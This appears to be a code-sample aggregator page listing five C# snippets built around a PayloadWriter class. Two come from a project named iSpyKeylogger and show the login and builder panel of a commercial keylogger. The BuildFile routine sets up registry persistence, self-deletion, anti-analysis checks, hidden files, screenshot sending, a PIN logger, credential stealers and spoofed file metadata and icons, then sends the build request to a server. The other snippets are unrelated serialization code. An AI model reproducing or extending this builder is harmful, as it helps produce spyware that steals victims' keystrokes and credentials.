コード例 #1
0
ファイル: frmLogin.cs プロジェクト: trjj/iSpyKeylogger
        private void DoLogin()
        {
            if (!cbRememberMe.Checked)
            {
                File.Delete(loginData);
            }
            if (!cbAutoLogin.Checked)
            {
                File.Delete(autoLogin);
            }
            if (cbRememberMe.Checked && !File.Exists(loginData))
            {
                string data = tbUsername.txtbox.Text + Environment.NewLine + tbPassword.txtbox.Text;
                File.WriteAllText(loginData, GlobalVariables.cryptor.Encrypt(data, GlobalVariables.HWID));
            }
            if (cbAutoLogin.Checked && !File.Exists(autoLogin))
            {
                File.WriteAllText(autoLogin, string.Empty);
            }

            using (PayloadWriter pw = new PayloadWriter())
            {
                tbUsername.Enabled = false;
                tbPassword.Enabled = false;
                btnLogin.Enabled   = false;
                pw.WriteByte(0x02);
                pw.WriteString(tbUsername.txtbox.Text);
                pw.WriteString(tbPassword.txtbox.Text);
                pw.WriteString(GlobalVariables.HWID);
                pw.WriteString(GlobalVariables.version);
                GlobalVariables.Username = tbUsername.txtbox.Text;
                GlobalVariables.SendData(pw.ToByteArray());
            }
        }
コード例 #2
0
        public override byte[] ToByteArray()
        {
            PayloadWriter writer = new PayloadWriter();

            writer.WriteBytes(OtherOpcodes.MOV_VARIABLE_VALUE);
            writer.WriteInteger(ModifiyValue.Address);
            writer.WriteString(varName);

            //lets serialize the new value
            writer.WriteByte(isRegister ? (byte)1 : (byte)0);

            if (isRegister)
            {
                writer.WriteByte((byte)register);
            }
            else
            {
                MemoryStream mem = new MemoryStream();
                new BinaryFormatter().Serialize(mem, newValue);
                writer.WriteInteger((int)mem.Length);
                writer.WriteBytes(mem.ToArray());
            }

            return(writer.ToByteArray());
        }
コード例 #3
0
        public void WriteDnsFile(string FilePath)
        {
            if (!File.Exists(FilePath))
            {
                File.Create(FilePath).Close();
            }

            PayloadWriter pw = new PayloadWriter();

            for (int i = 0; i < DnsNames.Count; i++)
            {
                pw.WriteString(DnsNames.Values[i].DnsName);
                pw.WriteUInteger(DnsNames.Values[i].DnsId);
            }
            File.WriteAllBytes(FilePath, pw.ToByteArray());
        }
コード例 #4
0
        public override byte[] ToByteArray()
        {
            PayloadWriter writer = new PayloadWriter();

            writer.WriteByte((byte)OpcodeList.MOV_EAX_DWORD_PTR);
            writer.WriteInteger(ModifiyValue.Address);
            writer.WriteByte(varName == null ? (byte)0 : (byte)1);
            writer.WriteInteger(Index);

            if (varName != null)
            {
                writer.WriteString(varName);
            }
            writer.WriteByte((byte)register);
            return(writer.ToByteArray());
        }
コード例 #5
0
ファイル: frmMain.cs プロジェクト: trjj/iSpyKeylogger
        private void BuildFile()
        {
            this.Enabled = false;
            string uploadKey = tbUploadKey.txtbox.Text;
            string time      = nudInterval.Value.ToString();
            string mutex     = Random();

            if (string.IsNullOrEmpty(uploadKey) || string.IsNullOrEmpty(time))
            {
                this.Enabled = true;
                return;
            }
            tbBuildLog.Text += "> Upload Key: " + uploadKey + Environment.NewLine;
            tbBuildLog.Text += "> Log Interval: " + time + Environment.NewLine;
            tbBuildLog.Text += "> Mutex: " + mutex + Environment.NewLine;


            bool   installFile = cbInstallFile.Checked;
            string processName = tbProcessName.txtbox.Text;
            string folder      = tbFolder.txtbox.Text;
            string directory   = cbDirectory.Text;

            bool   hkcu    = cbHKCU.Checked;
            bool   hklm    = cbHKLM.Checked;
            string hkcuKey = tbHKCU.txtbox.Text;
            string hklmKey = tbHKLM.txtbox.Text;

            bool meltFile        = cbMeltFile.Checked;
            bool antis           = cbAntis.Checked;
            bool sendScreenshots = cbSendScreenshots.Checked;
            bool hideFile        = cbHideFile.Checked;
            bool pinlogger       = cbPinlogger.Checked;

            bool stealers = cbStealers.Checked;

            string title       = tbTitle.txtbox.Text;
            string description = tbDescription.txtbox.Text;
            string product     = tbProduct.txtbox.Text;
            string copyright   = tbCopyright.txtbox.Text;
            string version     = tbVersion.txtbox.Text;
            string guid        = tbGUID.txtbox.Text;

            string iconPath   = tbIconPath.txtbox.Text;
            bool   changeIcon = !string.IsNullOrEmpty(tbIconPath.txtbox.Text);

            byte[] iconFile = null;
            if (changeIcon)
            {
                iconFile = File.ReadAllBytes(iconPath);
            }

            using (PayloadWriter pw = new PayloadWriter())
            {
                pw.WriteByte(0x03);
                pw.WriteString(uploadKey);
                pw.WriteString(time);
                pw.WriteString(mutex);
                pw.WriteBool(installFile);
                if (installFile)
                {
                    pw.WriteString(processName);
                    pw.WriteString(folder);
                    pw.WriteString(directory);
                }
                pw.WriteBool(hkcu);
                if (hkcu)
                {
                    pw.WriteString(hkcuKey);
                }
                pw.WriteBool(hklm);
                if (hklm)
                {
                    pw.WriteString(hklmKey);
                }


                pw.WriteBool(meltFile);
                pw.WriteBool(antis);
                pw.WriteBool(sendScreenshots);
                pw.WriteBool(hideFile);
                pw.WriteBool(pinlogger);

                pw.WriteBool(stealers);


                pw.WriteString(title);
                pw.WriteString(description);
                pw.WriteString(product);
                pw.WriteString(copyright);
                pw.WriteString(version);
                pw.WriteString(guid);

                pw.WriteBool(changeIcon);

                if (changeIcon)
                {
                    pw.WriteInteger(iconFile.Length);
                    pw.WriteBytes(iconFile);
                }

                byte[] packet = pw.ToByteArray();
                tbBuildLog.Text += "> Sending packet size: " + packet.Length + Environment.NewLine;
                GlobalVariables.SendData(packet);
            }
        }